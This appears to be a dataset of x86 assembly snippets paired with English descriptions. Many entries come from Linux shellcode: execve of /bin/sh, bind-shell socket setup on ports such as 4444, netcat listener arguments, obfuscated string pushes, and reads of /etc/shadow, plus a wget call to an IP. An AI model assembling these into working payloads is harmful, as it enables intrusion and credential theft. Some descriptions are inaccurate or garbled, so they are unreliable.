| push eax push eax content on the stack
|
| push eax push zero on the stack
|
| push eax push eax content on stack
|
| push eax push in eax the argument no=0
|
| push eax push sin6_addr = in6addr_any = ::0
|
| push eax push zero on stack
|
| push eax push null terminator on stack
|
| push eax push eax(socket file descriptor) onto stack
|
| push eax push nulls for string termination
|
| push eax push null byte as string terminator
|
| push eax push null into the stack
|
| push eax push null on stack
|
| push eax move 0 to stack (protocol=0)
|
| push eax push 0 (=eax)
|
| push eax push ipproto_ip = 0 (eax) on stack
|
| push eax push sin6_addr, saved in eax, on stack
|
| push eax push null byte on stack
|
| push eax push null terminator
|
| push eax preserve eax on the stack
|
| push eax push eax onto the stack
|
| push eax push eax to the stack
|
| push eax push eax value to the stack
|
| push eax push the contents of eax onto the stack
|
| push eax push the contents of eax register onto the stack
|
| push eax push the contents of the eax register onto the stack
|
| push eax push the value of register eax onto the stack
|
| push eax \n inc eax push eax on stack then increment its conent
|
| push eax \n mov ebx, esp push the contents of the eax register onto the stack and point ebx to the stack register
|
| push eax \n mov ecx, esp push the contents of the eax register onto the stack and point ecx to the stack register
|
| push eax \n mov edi, 0x343997b7 \n rol edi, 1 \n push edi \n mov esi, 0xd2c45e5e \n ror esi, 1 \n push esi push null terminating string and Ô/bin/shÕ to the stack
|
| push eax \n mov edx, esp clear edx
|
| push eax \n mov edx, esp push null in the edx position
|
| push eax \n mov edx, esp clear eax register
|
| push eax \n mov edx, esp envp = 0
|
| push eax \n mov edx, esp load eax into edx register
|
| push eax \n mov edx, esp push the contents of the eax register onto the stack and point edx to the stack register
|
| push eax \n mov edx, esp \n push eax \n mov ecx, esp insert null in edx and ecx
|
| push eax \n mov edx, esp \n push eax \n mov ecx, esp zero out edx and ecx register
|
| push eax \n mov edx, esp \n push ebx \n mov ecx, esp \n mov al, 0xb \n int 0x80 execute __nr_execve syscall
|
| push eax \n mov edx,esp push null temrinating string on edx
|
| push eax \n pop ecx move eax by inserting it in the stack in ecx extracting it from the stack
|
| push eax \n pop edi load 0 into edi register
|
| push eax \n pop edx transfer eax contents into edx register
|
| push eax \n pop edx load eax content into edx
|
| push eax \n push 0x30 push eax and the hexadecimal value 0x30 on the stack
|
| push eax \n push 0x31373737 \n push 0x3170762d \n mov esi, esp load chained null and the arg -vp17771 into esi register
|
| push eax \n push 0x35353535 \n push 0x70746c2d \n mov ecx, esp push 0, port number = 5555, command -ltp on stack. ecx point to the top pf the stack.
|
| push eax \n push 0x39393939 \n push 0x39706c2d push 0-term, 9999, 9pl- on the stack
|
| push eax \n push 0x4b434148 push null terminated string ÔhackÕ on stack
|
| push eax \n push 0x636e2f2f \n push 0x6e69622f \n mov ebx, esp load chained null and the arg /bin
|
| push eax \n push 0x636e2f6e \n push 0x69622f2f push 0-term, cn/n, ib
|
| push eax \n push 0x6769666e \n push 0x6f635f64 \n push 0x6873732f \n push 0x6873732f \n push 0x6374652f push 0-term, gifn, oc_d, hss/, hss/, cte/ on the stack
|
| push eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin
|
| push eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin
|
| push eax \n push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d \n mov edi, esp load chained null and the arg -le
|
| push eax \n push 0x68732f2f \n push 0x6e69622f \n push 0x2f656c2d \n mov edx, esp load chained null and the arg -le
|
| push eax \n push 0x68732f2f \n push 0x6e69622f \n push ebx, esp \n mov edx, eax \n mov al, 0xb \n int 0x80 execute execve syscall putting null temrinated string Ô/bin
|
| push eax \n push 0x68732f6e \n push 0x69622f2f \n mov ebx, esp load the string
|
| push eax \n push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f652d push 0-term, hsab, /nib,
|
| push eax \n push 0x6c6c6568 \n push 0x2f6d3462 \n push 0x6d33622f \n push 0x2f2f2f6d \n push 0x6f632e73 \n push 0x616d6978 \n push 0x656d2e33 \n mov ecx, esp save null terminated string Ô3.meximas.com
|
| push eax \n push 0x7361642f \n push 0x6e69622f \n mov ebx, esp load null terminate string Ô/bin/dasÕ into ebx regsiter
|
| push eax \n push 0x7461632f \n push 0x6e69622f push 0-term, tac/, nib/ on the stack
|
| push eax \n push 0x74656777 \n push 0x2f6e6962 \n push 0x2f727375 \n push 0x2f2f2f2f \n mov ebx, esp load null terminated string Ô
|
| push eax \n push 0x746f6f62 \n push 0x65722f6e \n push 0x6962732f \n mov ebx, esp load null temrinated string Ô/sbin/rebootÕ into ebx register
|
| push eax \n push 0x746f6f62 \n push 0x65722f6e \n push 0x6962732f \n mov ebx, esp load null terminated string Ôsbin/rebootÕ into ebx register
|
| push eax \n push byte +0x68 \n mov ebx,esp load eax content and the byte +0x68 into ebx register
|
| push eax \n push byte 0x1 \n push byte 0x2 push the parameters (0, sock_stream =1, af_inet=2) on stack
|
| push eax \n push byte 0x1 \n push byte 0x2 \n mov ecx, esp push the protocol 0, the type, sock_stream, and the domain af_inet on the stack and then load the stack pointer into ecx register
|
| push eax \n push dword 0x39396e2d put 0-term and the word 99n- on stack
|
| push eax \n push dword 0x64616568 \n push dword 0x2f6e6962 \n push dword 0x2f2f2f2f \n push dword 0x7273752f put 0-term and the double words daeh, /nib,
|
| push eax \n push dword 0x64777373 \n push dword 0x61702f63 \n push dword 0x74652f2f put 0-term, dwss, ap/c, te
|
| push eax \n push eax push eax content on the stack 2 times
|
| push eax \n push eax push null two times on stack
|
| push eax \n push eax \n push ecx \n push ebx \n mov ecx, esp load eax two times, ecx and ebx into ecx register
|
| push eax \n push ebp \n push edi \n \n push esi \n push ebx push eax, ebp, edi, esi, ebx on the stack
|
| push eax \n push ebx push eax and ebx content on stack
|
| push eax \n push ebx push ebx and eax on stack
|
| push eax \n push ebx push eax and ebx contents on stack
|
| push eax \n push ebx \n mov ecx, esp load eax and ebx contents chained into ecx register
|
| push eax \n push ecx \n push ebx push eax,ecx and ebx contents on stack
|
| push eax \n push ecx \n push esi \n mov ecx,esp push eax, ecx and esi on the stack and then load the stack pointer in ecx register
|
| push eax \n push edi push eax and edi contents on the stack
|
| push eax \n push edi \n push esi \n push ebx push 0-term, the args in edi, the args in esi and the pointer to /user
|
| push eax \n push edi \n push esi \n push ebx \n mov ecx, esp load eax, edi, esi, ebx contents into ecx register
|
| push eax \n push edi \n push esi \n push ebx \n mov ecx, esp chain the register eax,edi, esi, ebx and load the contents on ecx register
|
| push eax \n push edi \n push esi \n push ebx \n mov ecx, esp concatenate the content of eax, edi, esi, ebx and load them into ecx register
|
| push eax \n push edx push eax and edx on the stack
|
| push eax \n push edx push eax and edx contents on stack
|
| push eax \n push edx \n push ecx \n push ebx \n mov edi, esp load eax, edx, ecx and ebx contents chanined into edi register
|
| push eax \n push edx \n push esi \n push ebx push eax, edx, esi, ebx contents on the stack
|
| push eax \n push esi \n push ebx push eax, esi and bx contents on the stack
|
| push eax \n push esi \n push edi \n push ebx push eax, esi, edi and ebx contents on stack
|
| push eax \n push esp push eax and esp register on the stack
|
| push eax \n push word 0x6873 \n push 0x61622f2f \n push 0x6e69622f \n mov ebx,esp load the string Ò/bin
|
| push eax \n xor eax, eax \n mov al, 1 push eax register on the satck than clear it and put the number of the syscall exit in its laast byte
|
| push ebp save old base pointer
|
| push ebp save the old base pointer value
|
| push ebp push the contents of the ebp register onto the stack
|
| push ebp push the ebp onto the stack
|
| push ebp push ebp onto the stack
|
| push ebx insert ebx on the stack
|
| push ebx push ebx on the stack
|
| push ebx push ebx content on the stack
|
| push ebx push ebx content i on the stack
|
| push ebx push the command to run on stack
|
| push ebx push backlog value equals to 2 on stack
|
| push ebx push ebx content on stack
|
| push ebx push 0 on stack
|
| push ebx push the sock file descriptor stored in ebx
|
| push ebx "push ""/bin/sh"" on stack"
|
| push ebx push ebx(0) onto stack (ipproto_ip = 0)
|
| push ebx push ebx(1) onto stack (sock_stream = 1)
|
| push ebx push the string Ô
|
| push ebx push the pointer to /bin/bash
|
| push ebx push ptr addr on stack
|
| push ebx push pointer
|
| push ebx value in ebx=1 is pushed in to the stack (sock_stream =1)
|
| push ebx pushe 0 onto the stack for first arg of inaddr_any for the local host
|
| push ebx pushes the 2nd arg for connection que size to 0
|
| push ebx pushes the memory address of the string onto the stack
|
| push ebx push ebx on stack
|
| push ebx push address of /bin/sh
|
| push ebx preserve ebx on the stack
|
| push ebx push the contents of ebx register onto the stack
|
| push ebx push the contents of the ebx register onto the stack
|
| push ebx push the ebx value to the stack
|
| push ebx push ebx onto the stack
|
| push ebx push the contents of ebx onto the stack
|
| push ebx push ebx to the stack
|
| push ebx \n inc ebx \n push ebx push ebx on stack, increment its content by1 and push it again on stack
|
| push ebx \n mov eax, esp push the contents of the ebx register onto the stack and point eax to the stack register
|
| push ebx \n mov ecx, esp push ebx in the stack and then move its contents into ecx register
|
| push ebx \n mov ecx, esp move the character x from ebx register to ecx register
|
| push ebx \n mov ecx, esp "moving the pointer to ""/bin//sh"" to ecx"
|
| push ebx \n mov ecx, esp load ebx into ecx register
|
| push ebx \n mov ecx, esp push the contents of the ebx register onto the stack and point ecx to the stack register
|
| push ebx \n mov ecx,esp push ebx content on the satck and load it into ecx register
|
| push ebx \n mov edx, esp push the contents of the ebx register onto the stack and point edx to the stack register
|
| push ebx \n pop ecx load ebx content into ecx register
|
| push ebx \n push 0x1 \n push 0xa push on stack the arguemnts ip_proto = 0, sock_stream =1, pf_inet6 = 10
|
| push ebx \n push 0x4 push ebx and the value 0x4 on stack
|
| push ebx \n push 0x6 \n pop eax load ebx content concatenating with hexadecimal value 0x6 into eax reister
|
| push ebx \n push byte 10 push ebx contente and the byte 10 on stack
|
| push ebx \n push ebx push null on stack two times
|
| push ebx \n push ebx push 0 two times
|
| push ebx \n push ebx \n push esi push ebx two times and esi content on stack
|
| push ebx \n push ebx \n push esi push ebx two times andesi contents on stack
|
| push ebx \n push ecx push ebx and ecx contents on stack
|
| push ecx push null in stack
|
| push ecx push ecx on the satck
|
| push ecx load the real ip address in the stack
|
| push ecx push ecx content on the stack
|
| push ecx push ecx on stack
|
| push ecx push the pointer v4lhost on stack
|
| push ecx push the pointer to struct on stack
|
| push ecx push the pointer to sockfd on stack
|
| push ecx push null on stack
|
| push ecx push the pointer to host_sockfd
|
| push ecx push ecx on register
|
| push ecx push null terminating string on stack
|
| push ecx push the pointer to sock addr stored in ecx
|
| push ecx push ecx(struct pointer) onto the stack
|
| push ecx push \x00 to the stack
|
| push ecx push pointer address on stack
|
| push ecx push serv_addr saved in ecx
|
| push ecx push struct pointer
|
| push ecx push the memory location of previous args onto the stack
|
| push ecx push ecx content on stack
|
| push ecx push &serv_addr saved in ecx
|
| push ecx preserve ecx on the stack
|
| push ecx push the contents of the ecx register onto the stack
|
| push ecx push the value of register ecx onto the stack
|
| push ecx push ecx onto the stack
|
| push ecx push the contents of ecx register onto the stack
|
| push ecx push the ecx onto the stack
|
| push ecx push ecx on the stack
|
| push ecx push ecx to the stack
|
| push ecx push the contents of the ecx register onto the stack.
|
| push ecx \n mov ecx,esp push ecx on the stack and then place pointer to ecx
|
| push ecx \n mov edx,esp push ecx on the stack and then place pointer to edx
|
| push ecx \n pop edi load ecx contents into edi register
|
| push ecx \n push 0x2 \n push 0x2 push ecx content, the value 0x2 two times on stack
|
| push ecx \n push 0x64777373 \n push 0x61702f2f \n push 0x6374652f \n mov ecx,esp load Ô/etc
|
| push ecx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load Ô/bin
|
| push ecx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp push the string /bin
|
| push ecx \n push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push ecx cotent, ÔhsabÕ, Ô/nibÕ and Ô
|
| push ecx \n push 0x7461632f \n push 0x6e69622f \n mov ebx,esp load Ô/bin/catÕ and null teminating string into ebx register
|
| push ecx \n push 0x8 \n push edx \n push esi \n mov ecx, esp load ecx content, hexadecimal value 0x8, edx content, esi content into ecx register
|
| push ecx \n push 0xb \n pop eax \n push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load __nr_execve syscall into eax register and the string Ô/bin
|
| push ecx \n push dword 0x68732f2f \n push dword 0x6e69622f \n mov ebx, esp load Ô/bin
|
| push ecx \n push eax push the pointer to sockaddr and the fd received previously on stack
|
| push ecx \n push ebx push ecx and ebx content on stack
|
| push ecx \n push ebx \n mov ecx,esp load the string /usr/bin/wget 192.168.1.93
|
| push ecx \n push ebx \n pop ebx save null terminating string Ô/bin/shÕ into ebx
|
| push ecx \n push ebx \n push dword 0x2 \n mov ecx, esp push ecx and ebx contents and 32 bit equal to 2 on the stack and then put esp in ecx
|
| push ecx \n push ecx \n push esi push the value 0 to the stack for 2 times and then push esi
|
| push ecx \n push esi push ecx and esi contents on the stack
|
| push ecx \n push esi push ecx and esi contents on stack
|
| push ecx \n push esi push ecx and esi contents
|
| push ecx \n push word 0x5c11 \n push word 0x2 \n mov ecx, esp load ecx content, af_inet in 32bit and the 32bit value 4444 on ecx
|
| push edi push nib
|
| push edi push the string
|
| push edi push edi content on the stack
|
| push edi "push ""c-"" on stack"
|
| push edi push edi content
|
| push edi push Ô-cÕ value on stack
|
| push edi push the edi onto the stack
|
| push edi push edi to the stack
|
| push edi push the contents of the edi register onto the stack
|
| push edi push edi onto the stack
|
| push edi push the contents of edi register onto the stack
|
| push edi \n mov eax, esp push the contents of the edi register onto the stack and point eax to the stack register
|
| push edi \n mov ebx, esp push the contents of the edi register onto the stack and point ebx to the stack register
|
| push edi \n mov ecx, esp push the contents of the edi register onto the stack and point ecx to the stack register
|
| push edi \n mov edx, esp push the contents of the edi register onto the stack and point edx to the stack register
|
| push edi \n pop esi load esi content into esi register
|
| push edi \n push word 100 \n push edi \n push esi push edi content, the buffer size = 100 as a word, edi content and socketfd (esi) on stack
|
| push edx push edx register on the stack
|
| push edx push null on the stack
|
| push edx push null byte on the stack
|
| push edx load null byte on the stack
|
| push edx push edx on stack
|
| push edx push inaddr_any = 0 on the stack
|
| push edx push null string terminator on stack
|
| push edx push null argv on stack
|
| push edx push edx contet om stack
|
| push edx push edx content on stack
|
| push edx push null on stack
|
| push edx push terminating null on stack
|
| push edx push edx(0) onto the stack (inaddr_any = 0)
|
| push edx push 00 onto the stack
|
| push edx push null termination string on stack
|
| push edx push file descriptor on stack
|
| push edx push protocol id = 0
|
| push edx push socket file descriptor saved in edx
|
| push edx push null
|
| push edx push 0 on to stack (inaddr_any)
|
| push edx push 0 onto stack (backlog=0)
|
| push edx pushes the old socket fd onto the stack
|
| push edx push current socket fd onto the stack
|
| push edx push the socket fd onto the stack
|
| push edx push our socket fd onto the stack
|
| push edx push edx content
|
| push edx push edx
|
| push edx push inaddr_any = 0
|
| push edx push zero addrlen on stack
|
| push edx push null sockaddr on stack
|
| push edx preserve edx on the stack
|
| push edx push edx to the stack
|
| push edx push the contents of edx register onto the stack
|
| push edx push the contents of the edx register onto the stack
|
| push edx push the value of register edx onto the stack
|
| push edx push edx onto the stack
|
| push edx push edx on the stack
|
| push edx \n mov eax, 0xb33fb33f \n sub eax, 0x3bd04ede \n push eax push null terminated string ÔadowÕ on stack
|
| push edx \n mov eax, esp push the contents of the edx register onto the stack and point eax to the stack register
|
| push edx \n mov ebx, esp push the contents of the edx register onto the stack and point ebx to the stack register
|
| push edx \n mov ecx, esp push the contents of the edx register onto the stack and point ecx to the stack register
|
| push edx \n push 0x6563726f \n push 0x666e6574 \n push 0x65732f6e \n push 0x6962732f \n push 0x7273752f push null termination string and the string Ô/usr/sbin/setenforceÕ on the stack
|
| push edx \n push 0x68732f2f \n push 0x6e69622f push null terminated /bin
|
| push edx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp push /bin
|
| push edx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx, esp load null bytes, Ô
|
| push edx \n push 0x68732f2f \n push 0x6e69622f \n mov ebx,esp load Ô/bin
|
| push edx \n push 0x68735858 push edx and the hexadecimal value 0x68735858 on the stack
|
| push edx \n push byte 0x30 push edx and the value 0x30 onto the stack
|
| push edx \n push byte 0x77 \n push word 0x6f64 \n mov esi, 0x222933f0 \n add esi, 0x3f3f3f3f \n push esi \n xor esi, esi \n mov esi, 0x243525f0 \n add esi, 0x3f3f3f3f \n push esi \n xor esi, esi \n mov ebx, esp load the string /cte/shadow on ebx register
|
| push edx \n push eax \n push ebx push edx, eax and ebx on the stack
|
| push edx \n push ebx push edx and ebx content on stack
|
| push edx \n push ebx push edx content two times on stack
|
| push edx \n push ebx \n push 2 pusg protocol = 0, sock_stream = 1 and af_inter = 2 on stack
|
| push edx \n push ecx \n push eax push edx, ecx and eax contents on stack
|
| push edx \n push ecx \n push ebx push edx, ecx and ebx content on stack
|
| push edx \n push ecx \n push ebx \n mov ecx, esp push edx, ecx and ebx contents on the stack
|
| push edx \n push ecx \n push ebx \n push eax \n push esp \n push ebp \n push esi \n push edi push edx, ecx, ebx, eax, esp, ebp, esi and edi registers on the stack
|
| push edx \n push edi push edx and edi on stack
|
| push edx \n push edi \n push ebx push edx, edi and ebx content on stack
|
| push edx \n push edx push null two times on satck
|
| push edx \n push edx \n mov ecx, esp push two times edx on the stack and then load the stack pointer in ecx register
|
| push edx \n push edx \n push esi push edx content two times and esi content on stack
|
| push edx \n push edx \n push esi push edx content two times and esi content onto the stack
|
| push edx \n push edx \n push esi \n mov ecx, esp push edx two times ad esi on the stack and then load the stack pointer into ecx register
|
| push edx \n push esi push edx and esi content on stack
|
| push edx \n push esi \n mov ecx, esp save 0 and socket file descriptor in ecx
|
| push edx \n push esi \n mov ecx, esp save socket file descriptor and 0 in ecx
|
| push edx \n push esi \n mov ecx, esp push edx and esi contents on the stack and then load the stack pointer into ecx register
|
| push edx \n push esi \n push ebp \n push ebx \n mov ecx, esp load edx, esi, ebp and ebx contentsinto ecx register
|
| push edx \n push esi \n push edi \n push ebx \n mov ecx, esp chain the contents of the registers edx, esi, edi and ebx and save them into ecx register
|
| push edx \n push word 0x5c11 \n push word 0x02 \n mov ecx, esp save af_inet in 32bit, the 32bit value 4444, edx contents on ecx
|
| push edx \n push word 0x8223 \n push word bx push on stack the word array : [0, port_num, 2]
|
| push edx \n push word 0xaaaa \n push word 2 \n mov ecx, esp push a word null, a word of a characters and a word of 2 on the stack then load the stack pointer into ecx register
|
| push esi push hs/ in stack
|
| push esi push the pointer to -f
|
| push esi push esi content on stack
|
| push esi push the socket file descriptor on stack
|
| push esi push socket file descriptor on stack
|
| push esi push the sockfd on stack
|
| push esi push the host_sockfd
|
| push esi push the pointer to host_sockfd stored in esi on stack
|
| push esi push host_sockfd
|
| push esi push encoded_shellcode pointer to stack for later execution
|
| push esi push null termination
|
| push esi push the pointer to the /tmp/.xe
|
| push esi push file descriptor on stack
|
| push esi push sockfd (sock_file_des) onto stack
|
| push esi push sockfd on stack
|
| push esi push sockfd saved into esi
|
| push esi push sockfd (esx) on stack
|
| push esi preserve esi on the stack
|
| push esi push the contents of the esi register onto the stack
|
| push esi push the contents of the esi register onto the stack.
|
| push esi push the esi onto the stack
|
| push esi push esi onto the stack
|
| push esi push the contents of esi register onto the stack
|
| push esi push esi on the stack
|
| push esi push esi to the stack
|
| push esi push the encoded shellcode pointer to stack
|
| push esi \n mov eax, esp push the contents of the esi register onto the stack and point eax to the stack register
|
| push esi \n mov ebx, esp push the contents of the esi register onto the stack and point ebx to the stack register
|
| push esi \n mov ecx, esp push the contents of the esi register onto the stack and point ecx to the stack register
|
| push esi \n mov edi, esi push the stack onto esi and move the contents on edi
|
| push esi \n mov edx, esp push the contents of the esi register onto the stack and point edx to the stack register
|
| push esi \n push 0x68732f2f \n push 0x6e69622f push null terminated string Ô/bin
|
| push esi \n push edi push /bin
|
| push esi \n push edi push esi and edi content on stack
|
| push esi \n push edi \n push edx push esi, edi and edx content on stack
|
| push esp push esp content on stack
|
| push esp push the memory location of param 1(sizeof) onto the stack
|
| push esp push the contents of esp register onto the stack
|
| push esp push the contents of the esp register onto the stack
|
| push esp push the esp onto the stack
|
| push esp push esp to the stack
|
| push esp push esp onto the stack
|
| push len push len onto the stack
|
| push len \n pop edx save len into edx registe
|
| push long 0x68732f2f \n push long 0x6e69622f \n mov eax, esp move /bin/sh into the eax register
|
| push long 0x68732f2f \n push long 0x6e69622f \n mov ebx, esp move the string /bin
|
| push long 0x68732f2f \n push long 0x6e69622f \n mov ebx, esp move /bin/sh into the ebx register
|
| push long 0x68732f2f \n push long 0x6e69622f \n mov ecx, esp put /bin/sh into the ecx register
|
| push long 0x68732f2f \n push long 0x6e69622f \n mov edx, esp put /bin/sh into the edx register
|
| push name push name onto the stack
|
| push offset printf_msg push address of string print_msg
|
| push ogin push the contents in ogin onto the stack
|
| push rcx push the immediate value stored in rcx onto the stack
|
| push sock_reg push sock_reg onto the stack
|
| push sock_reg push the sock_reg onto the stack
|
| push sys_execve push sys_execve onto the stack
|
| push sys_execve \n pop eax set sys_execve = 11 to eax
|
| push word [edx] push edx content as a word on stack
|
| push word [edx] push the word [edx] onto the stack
|
| push word [edx] push the word [edx] to the stack
|
| push word 0544o push the word 0544o onto the stack
|
| push word 0544o \n pop ecx allow permissions r-xr--rÑsave them into ecx
|
| push word 0644o push the word 0644o onto the stack
|
| push word 0666q set read-write permission
|
| push word 0666q push the word 0666q onto the stack
|
| push word 0x02 push af_inet on the stack
|
| push word 0x02 push af_inet = 2 on stack
|
| push word 0x02 push the word 0x02 onto the stack
|
| push word 0x0a push the argument pf_inet6 = 10 on stack
|
| push word 0x0a push the argument af_inet6 = 10 on stack
|
| push word 0x0a push word af_inet6
|
| push word 0x0a push af_inet6 = 10 as word on stack
|
| push word 0x0a push af_inet = 0x0a
|
| push word 0x0a push the word 0x0a onto the stack
|
| push word 0x0a push the word 0x0a to the stack
|
| push word 0x0f27 push the word 0x0f27 onto the stack
|
| push word 0x1b6 push the word 0x1b6 to the stack
|
| push word 0x1b6 push the word 0x1b6 onto the stack
|
| push word 0x1b6 \n pop ecx save read-write permission in ecx register
|
| push word 0x1ff push the word 0x1ff onto the stack
|
| push word 0x2 push the word 0x2 on stack
|
| push word 0x2 push hexadecimal value 0x2 on stack
|
| push word 0x2 push hexadecimal value 0x2 as a word on stack
|
| push word 0x2 push af_inet on stack
|
| push word 0x2 push af_inet = 2
|
| push word 0x2 push the arg af_inet onto the stack
|
| push word 0x2 push the word 0x2 onto the stack
|
| push word 0x2 push the word 0x2 to the stack
|
| push word 0x2923 push 0x2923 onto stack port
|
| push word 0x2e2e push the word 0x2e2e onto the stack
|
| push word 0x3436 push the value 46 on the stack
|
| push word 0x3436 push the word 0x3436 onto the stack
|
| push word 0x3582 push port 0x3582 as a word
|
| push word 0x3582 push port number 0x3582 as a word on stack
|
| push word 0x3582 push the word 0x3582 onto the stack
|
| push word 0x3636 push the word 0x3636 onto the stack
|
| push word 0x3905 push the value of the port, 1337, on 32 bit in big endian format
|
| push word 0x3905 push the value of port 1336 on 32 bit on stack
|
| push word 0x3905 push the word 0x3905 to the stack
|
| push word 0x3905 push the word 0x3905 onto the stack
|
| push word 0x3930 push the word 0x3930 onto the stack
|
| push word 0x401f push the word 0x401f onto the stack
|
| push word 0x4255 push the word 0x4255 onto the stack
|
| push word 0x462d push Ô-fÕ on stack
|
| push word 0x462d push the word 0x462d to the stack
|
| push word 0x462d push the word 0x462d onto the stack
|
| push word 0x5000 push 0x5000 onto stack port
|
| push word 0x5445 push the word 0x5445 onto the stack
|
| push word 0x5974 push the word 0x5974 onto the stack
|
| push word 0x5c11 insert the 32bit value 4444 on the stack
|
| push word 0x5c11 push the hexdadecimal value of 4444 on the stack
|
| push word 0x5c11 push the number of the port, 4444, on the stack
|
| push word 0x5c11 push the value 4444 of the port on stack
|
| push word 0x5c11 push dword port value = 4444
|
| push word 0x5c11 push port value = 4444 as a word
|
| push word 0x5c11 push port value 4444 as word on stack
|
| push word 0x5c11 push 0x5c11 onto the stack (port:4444)
|
| push word 0x5c11 push the port number 4444 (hex) on stack
|
| push word 0x5c11 push port number 4444 as a word
|
| push word 0x5c11 push htons(4444)
|
| push word 0x5c11 set the port to bind on, in reverse order is 4444
|
| push word 0x5c11 push the word 0x5c11 onto the stack
|
| push word 0x5c11 push the word 0x5c11 to the stack
|
| push word 0x632d push -c param on the stack
|
| push word 0x632d push the word paramenter -c on the stack
|
| push word 0x632d push the parameter Òc-Ò as a word on stack
|
| push word 0x632d push the value Ô-cÕ on stack
|
| push word 0x632d push the word 0x632d onto the stack
|
| push word 0x632d push the word 0x632d to the stack
|
| push word 0x632d \n mov eax, esp push the word 0x632d onto the stack and point the eax register to the stack register
|
| push word 0x632d \n mov ebx, esp push the word 0x632d onto the stack and point the ebx register to the stack register
|
| push word 0x632d \n mov ecx, esp push the word 0x632d onto the stack and point the ecx register to the stack register
|
| push word 0x632d \n mov edi, esp push the word 0x632d onto the stack and point the edi register to the stack register
|
| push word 0x632d \n mov edx, esp push the word 0x632d onto the stack and point the edx register to the stack register
|
| push word 0x632d \n mov esi, esp push the word 0x632d onto the stack and point the esi register to the stack register
|
| push word 0x6465 push the word 0x6465 onto the stack
|
| push word 0x6465 \n push 0x7268732f \n push 0x6e69622f \n push 0x7273752f \n mov ebx, esp load the strig /usr/bin/shred in ebx regiter
|
| push word 0x662d push the word 0x662d onto the stack
|
| push word 0x662d \n mov eax, esp push the word 0x662d onto the stack and point the eax register to the stack register
|
| push word 0x662d \n mov ebx, esp push the word 0x662d onto the stack and point the ebx register to the stack register
|
| push word 0x662d \n mov ecx, esp push the word 0x662d onto the stack and point the ecx register to the stack register
|
| push word 0x662d \n mov edi, esp push the word 0x662d onto the stack and point the edi register to the stack register
|
| push word 0x662d \n mov edx, esp push the word 0x662d onto the stack and point the edx register to the stack register
|
| push word 0x662d \n mov esi, esp load the hexadecimal word value 0x6632d in esi register
|
| push word 0x662d \n mov esi, esp push the word 0x662d onto the stack and point the esi register to the stack register
|
| push word 0x6666 push the word 0x6666 onto the stack
|
| push word 0x6873 push the word 0x6873 onto the stack
|
| push word 0x692d push the word 0x692d onto the stack
|
| push word 0x697a push the word 0x697a onto the stack
|
| push word 0x6d6f push the word 0x6d6f onto the stack
|
| push word 0x6f64 push the word 0x6f64 to the stack
|
| push word 0x6f64 push the word 0x6f64 onto the stack
|
| push word 0x7065 push the word 0x7065 onto the stack
|
| push word 0x722d push the word 0x722d onto the stack
|
| push word 0x7365 push the word 0x7365 onto the stack
|
| push word 0x736e push the word 0x736e onto the stack
|
| push word 0x776f push the word 0x776f onto the stack
|
| push word 0x7773 push the word 0x7773 to the stack
|
| push word 0x7773 push the word 0x7773 onto the stack
|
| push word 0x8223 push port number 9090 on stack
|
| push word 0x8223 push the word 0x8223 onto the stack
|
| push word 0xaaaa push the word 0xaaaa onto the stack
|
| push word 0xb315 push port number 5555 (little-endian)
|
| push word 0xb315 push the word 0xb315 onto the stack
|
| push word 0xc005 push sin6_port 2 byte (port 1472) on stack
|
| push word 0xc005 push port 1472 (hex)
|
| push word 0xc005 push the word 0xc005 onto the stack
|
| push word 0xc005 push the word 0xc005 to the stack
|
| push word 0xffff push the hexadecimal value 0xffff on stack
|
| push word 0xffff push the word 0xffff onto the stack
|
| push word 0xffff push the word 0xffff to the stack
|
| push word 1 \n mov eax, esp push the word 1 onto the stack and point eax to the stack register
|
| push word 10 push sa_family_t=2 byte on stack
|
| push word 10 push the word 10 to the stack
|
| push word 100 push the word 100 onto the stack
|
| push word 17 \n mov edx, esp push the word 17 onto the stack and point edx to the stack register
|
| push word 2 push 2 onto stack
|
| push word 2 push the word 2 onto the stack
|
| push word 2 \n mov ecx, esp push the word 2 onto the stack and point ecx to the stack register
|
| push word 21 \n mov ebx, esp push the word 21 onto the stack and point ebx to the stack register
|
| push word ax push ax content represented on 32 bit on stack
|
| push word ax push the word ax onto the stack
|
| push word bx push the 32 bit register bx on the stack
|
| push word bx push af_inet =2 as a word
|
| push word bx push sin6_addr on 16 byte, saved in bx, on stack
|
| push word bx push af_inet as a word
|
| push word bx push the word bx onto the stack
|
| push word bx push the word bx to the stack
|
| push word cx push af_inet = 2
|
| push word cx push the word cx onto the stack
|
| push zero_reg push the zero_reg onto the stack
|
| push zero_reg push zero_reg onto the stack
|
| push_cmd: declare push_cmd label
|
| push_cmd: declare the push_cmd label
|
| pusha pushe all general purpose registers onto the stack in the following order: (e)ax, (e)cx, (e)dx, (e)bx, (e)sp, (e)bp, (e)si, (e)di. the value of sp is the value before the actual push of sp.
|
| pushl $0x68732f2f push $0x68732f2f onto the stack
|
| pushl $0x6e69622f push $0x6e69622f onto the stack
|
| pushw $0x632d push $0x632d onto the stack
|
| pushw 0x2 push 2 on stack as a word
|
| pushw 0x2 push af_inet = 2
|
| pushw 0x2 push af_inet=2 as a word on stack
|
| pushw 0x3905 push the value of port 1336 as a word on stack
|
| pushw 0x3905 push the 0x3905 onto the stack
|
| pushw 0x682d push the 0x682d onto the stack
|
| pushw 0x697a push the 0x697a onto the stack
|
| pushw 0xb315 push port number 5555 (little-endian)
|
| pushw 0xb822 push pot number 47138 as a word on stack
|
| pushw 0xe324 push port number on stack as a word
|
| pxor mm0, mm1 run pxor operation between mm0 and mm1
|
| pxor mm0, mm1 perform xor operation
|
| R1: \n inc esi in the routine R1 point to the next byte in esi
|
| R1: \n inc esi \n inc esi in the routine R1 point to the next word in esi
|
| R1: \n pop esi in the routine R1 save the shellcode in esi
|
| R2: \n inc esi declare R2 and point to the next byte in esi
|
| R2: \n inc esi \n inc esi declare R2 and point to the next word in esi
|
| rcl al,1 rotate the bits into al register to the left for 1 time
|
| re define label re
|
| read_file: define read_file_label
|
| read: define read_label
|
| read: define _read label
|
| read: declare the read label
|
| reading: define _reading label
|
| reading: declare the reading label
|
